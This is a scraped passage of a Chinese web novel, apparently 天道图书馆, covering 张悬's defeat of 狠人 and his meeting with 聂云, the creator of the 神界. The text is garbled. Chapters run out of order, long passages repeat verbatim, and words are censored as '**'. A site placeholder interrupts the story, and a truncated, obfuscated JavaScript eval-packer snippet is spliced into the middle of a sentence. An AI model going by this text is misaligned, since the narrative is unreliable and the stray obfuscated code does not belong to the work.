图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第189章拿出证据 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 